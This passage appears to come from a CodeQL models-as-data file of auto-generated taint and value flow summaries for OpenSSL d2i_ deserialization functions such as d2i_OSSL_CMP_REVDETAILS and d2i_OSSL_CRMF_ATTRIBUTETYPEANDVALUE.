"", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVANNCONTENT", "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVDETAILS", "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_REVREPCONTENT", "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", 